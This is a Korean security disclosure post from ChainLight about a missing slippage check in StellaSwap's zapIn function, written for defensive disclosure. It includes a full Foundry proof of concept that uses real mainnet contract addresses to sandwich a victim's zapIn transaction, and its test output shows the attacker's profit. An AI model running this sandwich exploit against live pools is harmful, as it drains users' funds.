Patch Thursday — StellaSwap의 zapIn 함수 취약점 공개
요약
이번 Patch Thursday 콘텐츠는, StellaSwap의 zapIn
함수가 슬리피지(Slippage) 발생 가능성에 대해 고려하지 않는 취약점에 대해 다룹니다.
StellaSwap은 약 106억 상당의 TVL(Total Value Locked)을 보유하고 있는 Moonbeam의 탈중앙화 거래소(DEX)입니다.
Immunefi는 ChainLight가 바운티를 지급받을 수 있도록 StellaSwap측과 적극적으로 소통했지만, StellaSwap은 버그 바운티 프로그램의 범위를 벗어난 취약점이기 때문에 바운티 미지급 결정에 대해 전달받았습니다. Immunefi 측에 감사를 표합니다. 🙏
Immunefi를 통해 보고된 취약점은 StellaSwap이 진행하는 취약점 바운티 프로그램의 범위에 속하지 않지만, 저희는 본 글에서 기술하는 취약점이 잠재적인 위험성이 있다고 판단했습니다.
저희 팀이 확인한 바로는, 현재 StellaSwap의 Zap
함수를 이용할 수 있는 웹사이트 접속시 Zap 기능이 슬리피지를 유발할 수 있다는 문장만 기입되어 있고, 사용자가 슬리피지 발생 범위에 대한 세부 사항은 알 수 없는 것으로 보입니다.
ChainLight는 해당 취약점이 사용자로 하여금 잠재적인 자금 손실 위험성을 동반할 수 있음을 판단했고, 제출한 리포트가 이미 종결되었기 때문에, Immunefi의 Publication Policy 2항의 항목에 근거하여 취약점의 상세 내용과 권고 및 조치 사항을 공유합니다.
본 글을 바탕으로, 다른 DEX 프로젝트 또한 해당 이슈를 면밀히 검토하여 사용자의 자산을 안전하게 지킬 수 있기를 바랍니다.
버그 상세
StellaSwap의 Zap Contract
에 존재하는 zapIn
기능은 슬리피지 발생 가능성을 고려하지 않습니다. 이 경우, MEV를 이용한 Sandwich 공격에 취약해질 수 있습니다.
버그 영향
Zap Contract
의 zapIn
기능 내에서 슬리피지 발생 가능성이 고려하지 않습니다.
Moonebeam 네트워크는 적은 비용으로도 Validator(검증인)가 될 수 있기 때문에, 공격자는 공격 비용 산정 측면에서 유리한 고지에 있습니다. 공격자가 Validator가 되면 MEV를 통해 zapIn
기능의 취약점을 악용, 최종적으로는 Sandwich 공격을 시도할 수 있습니다.
만일 악의적인 Validator가 사용자의 zapIn
트랜잭션 발생 전 StellaSwap 풀의 스왑(Swap) 비율을 망가뜨릴 수 있다면, 사용자는 필연적으로 비영구적 손실을 입습니다. 이러한 사실이 유동성 공급자 혹은 사용자에게 알려진다면, StellaSwap의 풀의 유동성 공급에 난항이 생길 가능성이 있습니다.
권고 사항
zapIn
함수에는 슬리피지를 고려하는 인자를 구현해야 하며, 사용자가 슬리피지를 얼마나 허용할지 지정할 수 있어야 합니다. 따라서 사용자가 의도치 않은 자산 피해를 입지 않을 수 있도록 zapIn
함수에 minLpAmount
와 같이 슬리피지를 고려하는 인자를 추가하는 것이 좋습니다.
PoC(Proof of Concept)를 통한 검증
테스트 환경: forge test — rpc-url https://rpc.api.moonbeam.network -vv — fork-block-number 3192297
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Zap.sol"; // target
interface StellaSwapV2Pair {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function burn(address to) external;
}
interface ERC20 {
function transfer(address, uint256) external;
function balanceOf(address) external returns(uint256);
}
contract PoC is Test {
Zap public zap;
StellaSwapV2Pair public stella_glmr_pool;
address public victim;
address public attacker;
ERC20 public WGLMR;
ERC20 public STELLA;
function setUp() public {
zap = Zap(payable(0x01834Cf26717F0351d9762CC9Cca7DC059d140dF));
stella_glmr_pool = StellaSwapV2Pair(0x7F5Ac0FC127bcf1eAf54E3cd01b00300a0861a62);
WGLMR = ERC20(0xAcc15dC74880C9944775448304B263D191c6077F);
STELLA = ERC20(0x0E358838ce72d5e61E0018a2ffaC4bEC5F4c88d2);
victim = address(0x11);
attacker = address(0x41);
deal(address(WGLMR), attacker, 10000000 ether);
vm.deal(victim, 100000 ether);
}
function testBasic() public {
emit log_named_uint("Victim's GLMR balance before calling zapIn: ", victim.balance);
vm.startPrank(victim);
zap.zapIn{value: 100000 ether}(address(stella_glmr_pool));
emit log_named_uint("Victim's GLMR balance after calling zapIn", victim.balance);
emit log_named_uint("Victim's LP token balance", ERC20(address(stella_glmr_pool)).balanceOf(victim));
ERC20(address(stella_glmr_pool)).transfer(address(stella_glmr_pool), ERC20(address(stella_glmr_pool)).balanceOf(victim));
stella_glmr_pool.burn(victim);
emit log_named_uint("Victim's WGLMR balance", WGLMR.balanceOf(victim));
emit log_named_uint("Victim's STELLA balance", STELLA.balanceOf(victim));
}
function testPoC() public {
emit log_named_uint("Victim's GLMR balance before calling zapIn", victim.balance);
vm.startPrank(attacker);
WGLMR.transfer(address(stella_glmr_pool), 10000000 ether);
stella_glmr_pool.swap(1159250 ether, 0, attacker, "");
vm.stopPrank();
vm.prank(victim);
zap.zapIn{value: 100000 ether}(address(stella_glmr_pool));
emit log_named_uint("Victim's GLMR balance after calling zapIn", victim.balance);
emit log_named_uint("Victim's LP token balance", ERC20(address(stella_glmr_pool)).balanceOf(victim));
vm.startPrank(attacker);
STELLA.transfer(address(stella_glmr_pool), 1159250 ether);
stella_glmr_pool.swap(0, 10094000 ether, attacker, "");
vm.stopPrank();
vm.startPrank(victim);
ERC20(address(stella_glmr_pool)).transfer(address(stella_glmr_pool), ERC20(address(stella_glmr_pool)).balanceOf(victim));
stella_glmr_pool.burn(victim);
vm.stopPrank();
emit log_named_uint("Victim's WGLMR balance", WGLMR.balanceOf(victim));
emit log_named_uint("Victim's STELLA balance", STELLA.balanceOf(victim));
emit log_named_uint("Attacker's profit", WGLMR.balanceOf(attacker) - 10000000 ether);
}
}
실행 결과
[PASS] testBasic() (gas: 351091)
Logs:
Victim's GLMR balance before calling zapIn: : 100000000000000000000000
Victim's GLMR balance after calling zapIn: 0
Victim's LP token balance: 78502770074328192435240
Victim's WGLMR balance: 49749999999999999999999
Victim's STELLA balance: 183079307515742033109989
[PASS] testPoC() (gas: 416251)
Logs:
Victim's GLMR balance before calling zapIn: 100000000000000000000000
Victim's GLMR balance after calling zapIn: 0
Victim's LP token balance: 1994606306152420894112
Victim's WGLMR balance: 1042863827147671074969
Victim's STELLA balance: 5711762718963524553285
Attacker's profit: 94000000000000000000000
참고 자료
✨ We are ChainLight!
ChainLight 팀은 풍부한 실전 경험과 깊은 기술 이해를 바탕으로 새롭고 효과적인 블록체인 보안 기술을 연구합니다. 연구 결과를 바탕으로 Web3 생태계의 각종 보안 위험 요소와 취약점을 사전 파악하여 제거하는 혁신적인 보안 감사 서비스를 제공합니다. 보안 감사 이후에도 온체인 데이터 모니터링 및 취약점 탐지 자동화 서비스를 이용한 지속적인 디지털 자산 위험 관리 솔루션을 제공합니다.
ChainLight 팀은 사용자들이 탈중앙화 서비스를 안전하게 활용할 수 있도록 Web3 생태계 위협으로부터의 보호에 힘쓰고 있습니다.
ChainLight의 더 다양한 정보를 보고 싶으시다면? 👉 Twitter 계정도 방문해 주세요.
🌐 Website: chainlight.io | 📩 TG: @chainlight | 📧 chainlight@theori.io
Originally published at https://blog.theori.io on July 7, 2023.